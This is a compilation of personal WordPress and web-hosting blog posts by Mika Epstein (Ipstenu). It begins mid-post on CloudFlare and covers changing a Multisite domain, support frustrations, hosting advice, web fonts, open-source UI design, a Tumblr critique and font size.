It wasn’t in Manchester or Dublin. It wasn’t in the US. It wasn’t in Canada. I opened a support ticket after making sure that it wasn’t really me. The server was up (all other sites, including this one were up) and I could get the site via anonymous proxies. Only that user had an issue, and I was 100% positive I had whitelisted everything in CSF (it’s the same thing I do for Jetpack). But the website claims a [522 is my server](https://support.cloudflare.com/hc/en-us/articles/200171906-Error-522).
This was never resolved, and demonstrates a major issue in the process. The user was a non-web savvy user. She shouldn’t have to be, though. She just wanted to visit a site and read things. It was very annoying.
## Drop Server Load
Okay. So this part worked.

It only shows up starting day three because I didn’t flip DNS over right away. I had to turn off PageSpeed, upgrade PHP, make sure nginxcp was going to work with it… There was prep work. Day three, the little spikes vanished. You still get big ones because that’s when the server runs backups and upgrades. The little spikes are, normally, when I have a new post on the site.
There’s been no perceptible change to bandwidth. All other sites on the server are, however, notably faster.
## End Result?
It looks like CloudFlare worked. The stats say I’m using 25% less CPU with CloudFlare, which is interesting, but now that it’s baked, I want to try something else, just for grins and giggles.
**Categories:** How It Works
**Tags:** cache, cloudflare, firewall
---
### [Changing Your Domain Name In Multisite](https://halfelf.org/2014/changing-domain-name-multisite/)
**Published:** April 21, 2014
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** It's three steps, it takes five minutes, and it's not impossible at all. Also if you're having a Multisite 'redirect loop' after upgrading to 3.9 read the extra step at the end.
**Content:**
Even I hate moving Multisite if I have to change folders (like from domain.com/wordpress to domain.com). But if you told me “Mika, I need to change my domain from cocobanana.com to cocoabanana.com!” I’d say “Hold my beer for five minutes.”
I will note: If this process freaks you out, remember to never make changes like this without a backup. If it’s still super spooky, you may not be ready for Multisite yet. I would consider this to be a good litmus test, though, for a wanna-be-multisite-master. You’re going to need to be able to do these things to get there.
**Step 1: Search and Replace**
This is the easiest one. If you have WP-CLI it’s super easy.
```
wp search-replace http://cocobanana.com http://cocoabanana.com
```
Don’t have WP-CLI? Okay, grab [Interconnectit’s Search/Replace DB Tool](https://github.com/interconnectit/Search-Replace-DB) and use that.
This will take care of 99.999999% of your site. It’s imperative you remember to use this tool! If you don’t use a tool that searches and replaces with consideration to data serialization, you will cry and reset all your themes and widgets. Manually. See? Told ya you’d cry!
**Step 2: Edit the Database**
Go into the database. Look at the `wp_site` table. Change the domain field from cocobanana.com to cocoabanana.com (seriously, that was it!).
Then look at `wp_blogs` and change those domains similarly as needed.
**Step 3: Edit wp-config.php**
Open the file and look for this:
```
define('DOMAIN_CURRENT_SITE', 'cocobanana.com');
```
Change the value to cocoabanana.com and save it.
**Step 4: .htaccess and plugins**
I lied. There’s another step. Make sure you weren’t super smart earlier. Like if you used some rules to block hotlinking, make sure the new domain is added in there. Also make sure your plugins aren’t calling your domain in some weird way (though that search and replace should have fixed that too).
Also if, like me, [you hate www’s in your URLs](https://halfelf.org/2012/dont-use-www/ "Don’t Use WWW"), you’ll want to put this in your .htaccess to force everyone around. It also has the benefit of making sure the weird redirect of www being treated as a subdomain stops happening on Multisite. By the way, I still strongly encourage you to *NOT* use www in your Multisites, it’s a pain in the ass and you can educate people as to why no one has to have www anymore. Also WordPress itself has *always* suggested you *NOT* use it when activating Multisite. Do you know better than WordPress? No? Okay then, don’t use www.
```
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteCond %{HTTP_HOST} ^www\.(.*)$ [NC]
RewriteRule ^(.*)$ http://%1/$1 [R=301,L]
</ifModule>
```
Now can I have that beer back?

**Categories:** How To
**Tags:** moving, multisite, wordpress
---
### [Sometimes The Answer Sucks](https://halfelf.org/2013/answers-sucks/)
**Published:** December 13, 2013
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** We Canna Perform Miracles, Captain!
**Content:**
I’m good at what I do. I’m really good. I’m an expert, and I’ve rarely run into a WordPress site I couldn’t fix, or at least get back to usable. This doesn’t mean I can code everything, but it means I can take a broken site and get your content back. I can’t, however, perform miracles all the time. You saw how I said ‘rarely’ right?
The real issue here is that sometimes the answer I give people is a horrible, terrible, sucky answer.
While Montgomery Scott always saved the day giving the engines more power, and skipping through the Jefferies Tube like the most bad-ass red shirt in existence, the sad reality of life is that sometimes we can’t save your website. If we can’t figure out *why* it broke, we may not be able able to fix it.
For example, a site suddenly lost all the plugin settings. They were just gone. Poof. No one had done anything, so the obvious cause is the database having a snafu, right? Well no. The DB was checked, everything seemed in order. We tried a restore, no-go. At that point, the only thing I could tell the person was to re-apply all the changes again, manually. The user was pissed off and it’s totally understandable why! I was pissed off. I couldn’t solve a problem and yes, when I can’t solve things, I get very upset with myself. And I was upset that the answer was so sucky! Redo your hard work? What a crock! But no matter what I did, no matter how I tried to pull the settings back, I was just getting further and further down that rabbit hole, and I knew I absolutely had to cut my losses.
In all likelihood, someone did something without checking it was right and without making a backup first. This happens. We know we shouldn’t mess with ‘production’ but we all do it. So that means sometimes we’re really reckless and we shoot ourselves in the foot without protection. While we can, and do, try really hard not to be stupid anymore, accepting that you (or perhaps your captain) has made a boneheaded mistake is really important. Equally so? Accepting that cleaning up that mistake may not be the answer we wanted to hear.
No one wants to hear ‘Start over.’ That’s pretty much a given. And yet we’ve all done it before. When I studied music, the number of times I had to start over because I’d made a mistake is uncountable. When I was learning to connect pipes in plumbing? Oh I ripped things out a hundred times before getting it right. I even restarted this entire blog post a couple times. And that’s not the only time the answer sucks. You changed user roles and capabilities and now you can’t log in? Congratulations, you get to reset them and start over.
I could go on with example after example of things we do, without realizing how dangerous they are, and how much trouble they get us in, but I suspect the point is made. We do amazing things to ourselves and can’t always fix them. Should you be upset when it happens to you? Of course. And should you be annoyed when you didn’t do *anything* and they break? You bet! But ….
Your website is like a car that’s always running. Eventually something is going to break, and when it does, the only hope you have of salvation are your backups. Everything really comes back to that, doesn’t it? I deleted the wrong table in a DB and had to restore the whole thing from the day before. Lost a day’s work. Nothing to be done to fix it but that. I had a file, for no reason I could see, go corrupt and refuse to let me edit it. Thankfully the backup was the version I wanted to edit, so I deleted and re-uploaded and moved on.
These things *will* happen.
The answer will suck.
Decide if you’d rather spend your time complaining about how it’s sucky, or if you want to knuckle down and get to work.

Or drink scotch.
**Categories:** How It Is
**Tags:** backup, support, website
---
### [Speaking at WordCamp Boston](https://halfelf.org/2013/speaking-at-wordcamp-boston/)
**Published:** October 9, 2013
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Come to WordCamp Boston and see me speak about Managed WordPress Hosting
**Content:**
I’ll see the East Coast, flying to [WordCamp Boston](http://2013.boston.wordcamp.org/) on Oct 25-27th.
[](https://halfelf.org/wp-content/uploads/sites/2/2013/10/891689-high_res-sherlock1.jpg)
Sunday I’ll be speaking about WordPress Managed Hosting on Sunday, and you’ll finally learn what all those *Sherlock* photos were about!
There are still tickets available for the whole show, so grab yours now and come see me and a pretty damn awesome lineup of speakers.
- [Tickets](http://2013.boston.wordcamp.org/tickets/)
- [Speakers](http://2013.boston.wordcamp.org/speakers/)
See you soon!
**Categories:** How It Is
**Tags:** wordcamp
---
### [Getting Good Advice](https://halfelf.org/2014/getting-good-advice/)
**Published:** August 11, 2014
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Driving fast to understand your goals works ... if you're a race car driver.
**Content:**
She was running a webstore on shared hosting without caching, and was upset it was slow. She was using only free products, no HTTPS, and was annoyed people said they couldn’t buy from her and that she could only use PayPal. She was angry that we couldn’t magically fix it.
I sped up her site, improved PHP, and cleaned up some duplicate plugins. And then I asked “Have you considered a VPS?” She ranted that it was our job to make shared hosting better, even if it cost us more, because she certainly wasn’t going to invest in her business. So I complained, on Twitter, that people who use free/ultra-low-budget services for a business and are unhappy with performance get what they deserve.
Then my buddy joked that Danica Patrick said it worked for $0.99! I joked back that he was taking web hosting advice from someone who’s selling skill is “I drive real fast!” As we tweeted, we elaborated it to how silly it was to take hosting advice from someone whose job it was to look pretty, drive fast, and only turn to the left.
It’s funny to *us* because we know better. If I was going to ask Danica Patrick for advice, I would ask her how she managed to sell her image so effectively. I might ask her if I could learn to drive a race car from her. But asking her what the best setup was for running an ecommerce store? Hell to the no! It’s outside her expertise and I’d be a fool for asking her in the first place!
Which brings me to my point. **The advice you get is only as good as the people you get it *from*.**
That’s painfully obvious, right? To go old school on you, you shouldn’t ask the fish guy for advice about pork, you don’t ask the vegetarian for advice about lamb, and for goodness sake, you don’t use the marketing sales pitch as your only measure for what kind of host you need.
Sorry, marketing guys.

Way back in the beyond days of websites, when we all used pure HTML and loved it, I was starting up a fansite. I had an idea that it might be moderately popular, so I reached out and asked some people who ran similar sites. I told them what I wanted to do, and asked who their webhost was, what ‘tier’ of hosting did they use, and were they happy? A wonderful woman named MadDog (I miss her so) was insanely helpful and sent me a breakdown of how much traffic she got, what her spikes were (our actresses were on the same TV show, this was helpful), how crazy the fans got, and then handed me a coupon for her host. “Use it or don’t use it. I get about $50 if you do.” (Spoiler alert: I did.)
When I was looking at getting DSL back in 1999, I asked other people in my building who they used, why, and were they happy. Surprisingly a lot of people *hated* their ISP except one guy, Quinn, who told me what he used it for, why he paid as much as he did, and how it was worth his money. And he too said if I used his code, he’d get $50. Actually I think he got $150 and took me and my wife out to dinner.
The point is this. I sought out people with a similar experience as I was expecting to have, such as living in the same building. I asked them how they used it, so I could see if their issues would be the same as mine. I asked them if they were happy, because I knew I’d been calling support at least once, and it would be nice to know how painful it would be. I did my research, myself, because it mattered to me.
Your site matters to you. It behooves you to sit down, take stock in your goals, and research the options out there. We can’t always know where we’ll end up or how we’ll get there, but we can make the effort to find people who match our perceived direction and ask them a simple question. We can search for our peers and read articles they’ve written. We can ask them for recommendations. And in the moment those people take time to sit and answer your questions, you need to listen to them. You should thank them. You may even want to go out of your way to compensate them. Because they just gave you some amazing value.
Would I host a business on low-end shared hosting? Sure. To start with. But as my business grew, I learned that I had to invest in order to reach my goals.
And yes. I did.
**Categories:** How It Is
**Tags:** essay, support
---
### [Jetpack Menu Stats](https://halfelf.org/2012/jetpack-menu-stats/)
**Published:** April 15, 2012
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Add a link to Jetpack's 'Stats' in your per-site menu on the toolbar.
**Content:**
If you run a Multisite, you have a list of all your sites in the ‘My Sites’ menu. Adding your own custom menus to that isn’t all that complicated. Here’s a quick, practical, bit of code:
```
```
You can tweak this to anything you want, obvious. If you change the numerical value in the `add_action()` call, you can move it up or down the menu. A value of 10 will put it at the top. You could probably toss in a check if the plugin was activated per-site as well (I didn’t bother for Jetpack, since I know how to tell if Jetpack’s active via [is\_plugin\_active()](http://codex.wordpress.org/Function_Reference/is_plugin_active), but not a sub-plugin).
As with all my code, is [licensed GPL2](https://halfelf.org/license/). Use, abuse, tweak and customize. Don’t expect support, though.
*Edited to fix i8n and use add\_node, thanks to Thomas and kessiemeijer!*
**Categories:** How It Is
**Tags:** administration, multisite, plugins, wordpress
---
### [Website Viewability](https://halfelf.org/2011/website-viewability/)
**Published:** May 16, 2011
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Will the desire to be on the cutting edge return us to the days of 'This site is best viewed in...'
**Content:**
The goal to make your site look cool, be easy for people to use, and be available for all, is a holy grail trifecta that is rarely achieved. Many times, you have to sacrifice one leg of the tripod in order to achieve your goals.
The advent of [Typekit](http://typekit.com/) has led to a lot of websites using cool custom fonts in a way that is supposed to solve that age old problem of what happens when you design your site with a font the end-user doesn’t have. For a very long time I couldn’t understand what the big deal was, since I often read these sites from work, and their fonts were all jaggedy and ugly. Then I fired up a site from home and was astounded at the difference.
This is what I normally see when I go to TypeKit:

This is what you’re supposed to see:

I know it doesn’t look too bad, but basically what I don’t get are the nice, smooth, edges on fonts, so when I read a whole page like that, it’s hard on the eyes. TypeKit works by javascript, so arguably, it should work on all browsers with JS enabled (which is to say all modern browsers). I’m using Chrome (latest and greatest) and I get crap.

That’s from Ed Jeavons’ [Beyond web-safe fonts with Typekit](http://edjeavons.co.uk/2010/02/beyond-web-safe-fonts-with-typekit/), which is a great article. But the whole thing is unreadable to me because of that.
So where is the break down here? TypeKit’s goal is to make their fonts work on every site, regardless of if you have the font installed on your server. Jeavons says “Typekit degrades gracefully so that anyone without JavaScript, or with a browser that doesn’t support the necessary features, will simply revert to your standard CSS rules.” If that was the case, shouldn’t I be seeing a better site?
According to TypeKit, the problem is that the sites I’m seeing didn’t make good standard CSS rules. My anecdotal evidence suggests otherwise. After all, every site I go to has the exact same problem. So I turned off javascript and went back to the site:

Now that looks like you’d expect graceful degradation! At this point, my answer is that something TypeKit does is unwelcome on my office computer. Or more likely, my office firewall. That’s a whole new kettle of fish. I can’t reasonably expect everyone to go find an office behind a firewall made of adamantium and test their site. But clearly this is not the fault of the individual site. Is it reasonable to expect TypeKit to look into this? I went on a search and found they have a cool little checker too [typecheck](http://typekit.com/typecheck/#no-site) which says I’m fine:

There’s nothing in their FAQ or help desk that mentions Firewalls having this issue, so I decided to check out [Google Web Fonts](http://www.google.com/webfonts). Lo and behold, I get the same problem. Some more digging and I found someone who ‘fixed’ the problem [using css](http://willmoyer.com/plato/). My Twitter friend @cgrymala suggested I also try [ClearType](http://www.microsoft.com/typography/cleartype/tuner/step1.aspx), since I’m on Windows XP at work. That actually helped a lot (seriously, I cannot tell you how much nicer things look) but the main problem is still there.
Where’s my problem? My problem is that TypeKit and Google Web Fonts, while they purports to be a one-size-fits-all/degrades-nicely app, are not. If you’re not on the forefront of technology, if you’re behind a firewall, if you’re on a weird setup, these things are not going to work. This is not really TypeKit’s or Google’s fault. They’ve done an amazing job setting things up so it works most of the time. At best, they could have their javascript detect browser and OS (yes, you can do these things) and if it’s IE 6 or Windows XP (for example), revert to the javascriptless version of the site.
It’s nigh impossible to solve the firewall problem. You can’t detect the firewall easily, and part of the point of them is they obfuscate who and what they are. And if the problem is a combination of OS, browser and firewall, then the best you might be able to do is somehow detect if any one of those three are on the known ‘possible’ trouble list, and shunt them off to a non-js version. And now you’ve added a lot more load to your server.
The best *you* can do is to avoid using these cool systems and features until they’re more supported, which is where the whole concept of sacrifice comes in. If it’s more important for you to have your site look cool than to work for everyone, you have to find a way to degrade better. For a long time I had an alert bar on my site to tell you that [if you were using IE 6, you needed to upgrade](http://www.theie6countdown.com/join-us.aspx). Going back further, we used to regularly make sites that said ‘Best viewed in Netscape Navigator.’ Thankfully sanity struck, web standards started to stick, and we began to design sites that looked good in most browsers.
I cannot advocate a return to ‘Best viewed in…’, but I can suggest that if you’re relying heavily on cool, cutting edge, features, you also have a printer-friendly version of your site that runs without any of the bells and whistles.
**Categories:** How It Works
**Tags:** accessibility, design, themes, website
---
### [Lion: Switching F4 to run Launchpad](https://halfelf.org/2011/lion-launchpad/)
**Published:** July 31, 2011
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** No plugins, no problem! You can change your keys on your Mac to show LaunchPad without any hassle at all!
**Content:**
 How about a (mostly) pluginless solution?
I don’t use the Dashboard on my Mac, I’ve never really gotten the hang of the widgets and I just don’t like ’em. If you happen to use [FunctionFlip](http://kevingessner.com/software/functionflip/) to turn that off, you get ‘Application Window’ instead, which boggled me even more. What good was this? But I *do* like LaunchPad because I can sort through my apps really fast. Like many of you, I saw the fixes using Function Flip and Quicksilver, and hated the idea of running multiple apps to do something.
You don’t need any!
This is a two step process that requires you to go into System Preferences > Keyboard > Keyboard Shortcuts.
Click on **Mission Control**
[](https://halfelf.org/2011/lion-launchpad/missionontrol-before/)
Double Click on the F4 to the right of **Application Windows** and the field will become editable. I changed my to Apple-F4:
[](https://halfelf.org/2011/lion-launchpad/missioncontrol-after/)
Then go to to **Launchpad and Dock**
[](https://halfelf.org/2011/lion-launchpad/launchpad-before/)
Check the box by **Show Launchpad** and that will make the option editable. Press F4 and you’re done!
[](https://halfelf.org/2011/lion-launchpad/launchpad-after/)
**Categories:** How To
**Tags:** accessibility, macintosh
---
### [Community Driven Design](https://halfelf.org/2011/community-driven-design/)
**Published:** October 26, 2011
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** While we all design open source, there's a point at getting in on the changes and it's not beta testing. Testing begins earlier, and your responsibility depends on who you support.
**Content:**
WordPress 3.3 is on the horizon, and already there’s a minor kerfluffle over the flyout menus. Regardless of if you agree with the change or not (I do, [Otto](http://ottopress.com) does not, for example), it brings to mind the reality that every time there’s a new change to the Admin UI, someone demands to know ‘Who’ requested the change. One time, the answer was ‘[Matt](http://ma.tt).’
While WP is open source, and that means it’s community driven, that’s only to a degree. Remember, at the end of the day the folks with commit access are the ones who decide what they want to support and have in their app. Theirs. WordPress isn’t a Democracy, it’s at best a parlimented monarchy, but really more of a benevolent dictatorship. This is neither good nor bad, when you put it in perspective, and I’m afraid that with products, especially free and/or open-source products, we as a user base consistently *lack* that perspective.
The company I work for recently switched to Office 2007. Yes, I want you all to take a moment to reflect on the fact that we didn’t move to Office 2007 until it was 2010 (and didn’t finish until summer 2011), it’s important. The *reason* we didn’t switch sooner wasn’t for anything technical. In fact, we really wanted to switch so we could upgrade SharePoint and have functional integration. No, there were no app conflicts or weird database issues preventing the upgrade. It ran on our operating systems without issues. But why didn’t we upgrade? Because some of the people in “very important positions” had trouble with it, and we were concerned that the UI change, which was rather dramatic, would overwhelm our help desk.
To put this in perspective even more, there are about 20k employees at my company (give or take, I’m not counting consultants here, or non-computer-using people). Of those, about an eighth are what I’d call techies. That is, maybe 2500 of us are really nerdy people who use foam swords or even know who Stallman is. Another 2500 of us are technically inclined, and capable of trouble shooting the basics. Another 2500 are smart enough to know how to explain their problem to the techs. That means over half the company are ‘real users,’ you know, the ones we make fun of for deleting DLLs that are taking up space, or who reboot their monitor. Every time we make a change to software used across the entire company, we have to put that 50% clear in our minds. How will this affect them? What training to we need to provide? We’ve pretty much accepted that no change will be universally accepted, and at a certain point we have to agree that this is ‘good enough’ for people, and deal with the fall out.
Coming back to Open Source, when a project like WordPress or Drupal makes a major change someone’s going to hate it. This is just the way of the world, and even if you love the change, you need to work to make sure your replies to these people aren’t ‘haters gonna hate!’ or ‘you suck!’ Neither of these are productive. Part of the problem here is that people get passionate and sulky, like a nine year old who viscerally dislikes something, but lacks the language to fully explain it. This is not to say people are incapable of explaining themselves, but that part of their problem is the ephemeral ‘feeling.’ The other major part of the problem is that no two people hold a hammer the exact same way. And of course that people who are complaining at the ‘beta’ stage of the product are in too late.
Understanding how these designs get made goes a long way into making people accept changes they don’t agree with. It doesn’t make them *like* the changes, but understanding how and why they happened can get you to the ‘agree to disagree’ point. [John O’Nolan](http://john.onolan.org/) (who currently is living on the road by choice) wrote an amazingly informative post about how he got involved in [WordPress UI back in the 3.0 days](http://www.webdesignerdepot.com/2010/05/designing-for-over-twenty-million-users-wordpress-3-0/). He lays out how you can get involved more, if you’re inclined. There’s a great [Make WordPress UI](http://make.wordpress.org/ui/) P2 blog, and of course [WordPress Development](http://wpdevel.wordpress.com/) blog that you can follow along to see what’s going on and there’s always looking at the tickets in Trac flagged for [Needs User Experience/UI Feedback](http://core.trac.wordpress.org/report/35), but I’ve found the first way you should get involved is to start using WordPress *trunk*: the live latest and greatest, but not ready for prime time players, version.
That seems like a departure from theme, but it’s not. We all start out as basic WordPress users. We use the product, we know how to add/edit/remove posts, we move on to using plugins, and eventually we hit a wall. Either we start to adapt and become power users, who understand how to tweak things in wp-config.php, play with SSH/FTP, and make a quick child theme, or we resign ourselves to using WordPress as it is presented. Neither use-case is better or worse than the other. If you’re a ‘hard core’ WordPress user, though, you will find yourself wishing for small fixes, and you’ll make a plugin for yourself. Then you share it, and then you start to suggest things in the forums, or report bugs in trac. Now we’re cooking with fire, and it’s not long before you start tossing out code or css ideas for trac.
The point of this is that if you start ‘testing’ the new versions of WordPress at the beta or release candidate iteration, you are *too late* in the game to make a UI comment. The Beta and RC releases aren’t for making drastic changes, but for making the changes that are in there work correctly. Like how the ‘close’ button on the admin bar pointed isn’t working on IE 7 or 8. That’s a bug. But [not liking the admin sidebar menu flyout and disagreeing with it entirely isn’t a bug](http://wordpress.org/support/topic/admin-menu-doesnt-expandcollapse-in-33-beta-1-why?replies=59). Did you know the head of the UI team didn’t like the Admin Bar back when it came about?
You don’t have to like everything about a product to use it, and sometimes changes mean you need to rethink *how* you use it. Also, WordPress has a policy similar to Apple and Amazon: Release, **then** iterate. That’s why in the last three releases of WordPress, we’ve had one major change and two noticeable tweaks to the whole admin UI. The 3.0 release was a huge overhaul, and in both 3.1 and 3.2 (and now 3.3) we’ve had significant variations on a theme. They feel big, but compare it to the 2.9 to 3.0 jump and it’s really pretty small.
If you want to guide WordPress’s UI, get in on it earlier than beta. If you want to iron out bugs, join at Beta, but take the time to learn the difference between ‘I don’t like…’ and ‘this is broken….’ If you want to get new features early, join at RC. If you want to wait till we’re ready to go, wait for the final release. If you just use WordPress and trust that most everything will work, use the final releases. If you’re annoyed that little bugs get missed, use RC. If you know you’re using a fringe case, or setup that uses normal WordPress but on an obscure server or configuration, RC or Beta is where we need you. Remember, not everything can be tested, but you can help test more. However. If WordPress is your life, if you live and die by WordPress and support people who use it or need to be testing it in your corporate environment, then you need to step up and start using SVN. Make a second install and set up a job to update every few hours, pay attention to release dates, and don’t treat this like ‘traditional’ software and wait for a release to be notified as to what’s going on.
But that is another post all together.
Perhaps the best thing about a cooperative design, like in an open source app, is that if you don’t like the changes, *most* of the time you can find someone else who doesn’t, and who wrote a plugin/extension to change it. When you compare that to, say, Microsoft Word, and remember that you, as a user, have very little say in things unless you luck into their market studies or beta tests, and even then, the locked down systems don’t always *permit* changes, well, you’ve actually got a lot of freedom. And if you’re not a techie, well, make friends with one or hire one. I hear a lot of them like beer.
**Categories:** How It Works
**Tags:** accessibility, coding, design, essay, support, website
---
### [Simply Complicated](https://halfelf.org/2012/simply-complicated/)
**Published:** February 7, 2012
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** The tl;dr for this post is that I don't like Tumblr, and find it a clunky, poorly supported psudeo-blog and you should use something else.
**Content:**
I’ve been playing around with Tumblr a lot, mostly to help a friend get set up on it, but also because they didn’t publicize they had a way to ‘black out’ your site for SOPA day until the last minute, and I wanted to help my friends join in.
Tumblr pitches itself as sort of a blog version of Twitter.
> Tumblr lets you effortlessly share anything. Post text, photos, quotes, links, music, and videos, from your browser, phone, desktop, email, or wherever you happen to be. You can customize everything, from colors, to your theme’s HTML.
At it’s heart, it sounds really wonderful. You can share anything, as long or as short as you want, with anyone. They can retumbl it and share it, adding on their commentary, and so on and so forth. But when you compare it to either Twitter or a blog, the analogy collapses and Tumblr becomes insanely complex. By trying to be both, it’s effectively neither.
The tl;dr for this post is that I don’t like Tumblr, and find it a clunky, poorly supported psudeo-blog and you should use something else.
I should say that there are things I think Tumblr gets right. They make it very easy to publish your content with a few clicks. Uploading media is simple, and ‘reblogging’ content is a simple click. However that’s only true if the content comes from Tumblr to begin with, or if the external source has coded in a ‘tumble’ button (similar to the tweet/facebook buttons I have here). Tumblr can make a decent ‘community,’ however allowing multiple people to manage a Tumblr site is cryptic.
**Logging In**
When you go to [tumblr.com](http://tumblr.com), you’re presented with a signup screen:
[](https://halfelf.org/2012/simply-complicated/tumblr-welcome/)
That’s it. A very simple and direct screen, much more like [Twitter.com](http://Twitter.com) than something like LiveJournal or WordPress.com. You’re told ‘Sign up.’ But what if you’ve already signed up? Unlike LJ or WP, there’s no bar at the top of the page to let you sign in anywhere.
[](https://halfelf.org/2012/simply-complicated/tumblr-login/)On Tumblr, tucked way off to the upper right, is a little **Log in** button. Points for not making the word ‘login’ (though that is a valid use), but it’s not where people generally look first. Jakob Nielsen has been touting the [F-shaped reading pattern since 2006](http://www.useit.com/alertbox/reading_pattern.html). That is most of the weight of a reader’s attention is to the left, though the top right corner is a good place to use too. At the same time, [horizontal attention still leans left](http://www.useit.com/alertbox/horizontal-attention.html). So while the location is decent, the button’s efficacy strikes me as diluted.
**The Dashboard**
Once you’ve logged in, you go to the Dashboard. This is pretty standard stuff. If you log in to WordPress, Blogger or even LiveJournal, you go to the back end. On the other hand, if you log in to Twitter, you see your Twitter stream. In keeping with Tumblr’s dichotomy, you get both:

The green icon is ‘me’ and right away I see that someone’s started following me, and two people I follow (CBS Television Studios and a friend) have posted something. Above that is a list of ‘types’ of posts I can make, and on my right is basic information about me. I follow people, I’ve liked posts, I can explore, and here’s a random photo we like.
It’s not terrible, and the implication is ‘Just start posting!’ At this point, any time I go back to tumblr.com, I will be sent to my dashboard. Period. And there’s no obvious link to show me what my site looks like. As it happens, I have to click my ‘icon’ (the green box) to see my site. The row on the very top has ‘Dashboard’ and then ‘My blog name’ (which I fuzzed out) and ‘My second blog name’ (ditto), is followed by four icons. The plus sign makes a new blog, the question mark is for help, the grommet is for settings and the power button is to log out. I don’t know why they have ‘make a new blog!’ so prominent.
**Posting**

I’m not going to get into how you post in detail. This is pretty straight forward and my only real complaint is tags, but it’s a big complaint.
I can’t see my commonly used tags, and that actually bothers me a lot. On WordPress, I can see my regularly used tags (and my categories) right away. With this simple screen, I get a blank area to add in my tags, which is nice, but I like to use some of the same tags over and over. It’s at the point where I’ve *stopped* tagging things because it’s a hassle. That’s a problem because other people can search for ‘tagged Ipstenu’ and find anything tagged that way. I’m devaluing the search because the functionality as a content create is onerous. Compare this to WordPress, where I can click on ‘Recently used tags’ and there the ones I use are, and I can click on them to add them. Done. Categories are easy to find and now I’ve created a robust multi-level way to search for content on my site!
Furthermore, if I reblog something, I lose **all** their tags and have to start over.
**The *Other* Dashboard**

Well, now here’s where it’s a mess.
My blog names were listed on that top row, so when I click on one, I get *another* dashboard. This one is very similar to the first, only now I see all my reblogs and all comments.
Oh, wait. No. I don’t see **any** comments. That’s because Tumblr doesn’t have an easy way for my visitors to leave comments on my site!
What’s going on here? It’s Tumblr’s dichotomy. It’s both a social site, like Facebook and Twitter, and a blog, except right here, in this one moment, it’s magically neither. Facebook lets you leave comments, Twitter lets you leave @-replies. WordPress (and LiveJournal) live and die by the comments. Comments are how you connect, interact, and grow your audience.
And you can’t do it (easily) on Tumblr. Oh, sure, I figured it out in about an hour, with a tweet to a friend and some reading about Disqus, but that’s not the point. You cannot be a blogging system without a comment system. That may be a strong statement, but there it is.
 You’ve heard people say that if you’re not paying for something, then you’re the product? That’s never more true than with Tumblr. On this site, my content is generated by me, and the additional UGC (User Generated Content) comes in the form of comments. I can see my ‘value’ based on retweets, +1s and likes, but it’s in communicating with you commenters (and I try to talk to everyone) that I find out what’s engaging in my posts, what’s important, and what I get wrong. Oh yes, I get things wrong.
It’s talking with people that help me grow as a writer, a technologist and a thinker. So while *some* themes on Tumblr have [Disqus](http://disqus.com) built in, I’ve found more that don’t and more that don’t explain it. And worse? If you google ‘Tumblr comments’ the first hit is not a ‘How to turn on comments on Tumblr!’ from Tumblr, but a how to from *[Disqus](http://disqus.com/admin/tumblr)*.
There’s nothing wrong with Disqus, I like it and use it on some sites. But. There’s something wrong when your communication platform relies on third party vendors for communication. Sharing? No problem. Communicating? You better be a techie.
**Where are those settings at?**
And now we’re at the crux of why Tumblr is so cumbersome.
Where the *hell* are my settings!? If you go click on that gear icon, which is logically at https://www.tumblr.com/preferences, you may notice everything’s about you. It’s your *user* preferences. Okay, so that’s acceptable. And they even put a nice link to customize your blog. But … have you looked at their options?
This is where I wanted to get a screenshot of the clunky ‘pick a theme’ interface (though they get small props for being able to select ‘free only’), or how you have to know how to edit HTML/CSS to customize and add ‘pages’ to your site, or how you don’t see how *your* content will look, only their sample. I tried to get a screenshot, but it was too complicated to even begin to explain.
And that’s the problem right there. Tumblr’s too hard to customize for the novice. It’s not too hard for me, I have no problem with it. But my partner (a non-tech) and my friends (non-tech) all appealed to me for help around SOPA day to make their sites go black. It took me 10 minutes to sort out how to make a WP.com site go black by adding a widget. It took me 10 minutes to find a plugin I liked for self hosted, fork it to what I wanted, and implement it. I was able to logic out how to apply my wp.com change to Blogger (via a ‘widget’) and Tumblr, but the minute I told the Tumblr’s “You need to edit the site’s HTML…” they balked.
**So what’s really the problem here?**
The problem is Tumblr’s attempt to be the best of both worlds, a blog and a social networking site, means they offer up more customization then that of a traditional blog, but less that running your own site. Twitter has very little customization you can do, but really it’s like saying you can’t design your email. Few people I know actually go look at your Twitter page. We use apps, or aggregate you onto own own streams. It doesn’t need it, and wisely leave it alone. WordPress.com (I’m harping on them because I know them best) lets you use themes that allow customization, but you have to pay for CSS or a custom domain. Tumblr lets you do these things for free.
Now, to be fair, Tumblr doesn’t claim to be a blog. And they’re right, they’re not a blog. What they are is a way to make a share things. Easily. And you know, to that end, they succeed. It’s very easy to share. What is *not* easy is to stand out from the crowd, use Tumblr in a new and amazing way. What’s not easy is to be unique.
I’ve seen memes, photoblogs, Q&As, and mostly just people sharing posts. I’ve seen amazingly creative designs. What I *haven’t* see is something that changed the entire way I’ve thought of publishing. And I haven’t seen it in a way that let me grow, adapt, and spin off it as far as I want. I don’t want to get this confused with beautiful sites like [capitolcouture.pn](http://capitolcouture.pn), which is just lovely. But it looks … like a webpage. I can think of ways to do that on any platform. In this case, though, they picked Tumblr I would guess because of the ease of re-sharing content. They exist with a massive amount of user generated content, by copying the posts to their own site (with a link back of course). That’s cool, but it’s not a game changer. In it’s own way, it’s just the best designed meme I’ve ever seen.
Have you seen a site on Tumblr that made you re-think everything about a website?
**Categories:** How It Is
**Tags:** accessibility, tumblr, website
---
### [Font Size Matters](https://halfelf.org/2014/font-size/)
**Published:** January 17, 2014
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Rumination on Font Sizes being too damn small.
**Content:**
I’ve been complaining about this for years.
I wear glasses. Thick, coke-bottle, I have an astigmatism so bad any time I get a new eye-doctor, they tend to boggle that my eyes are as healthy as they are being as crap as they are. No, I’m not legally blind, but I am wearing glasses any time of the day I want to see.
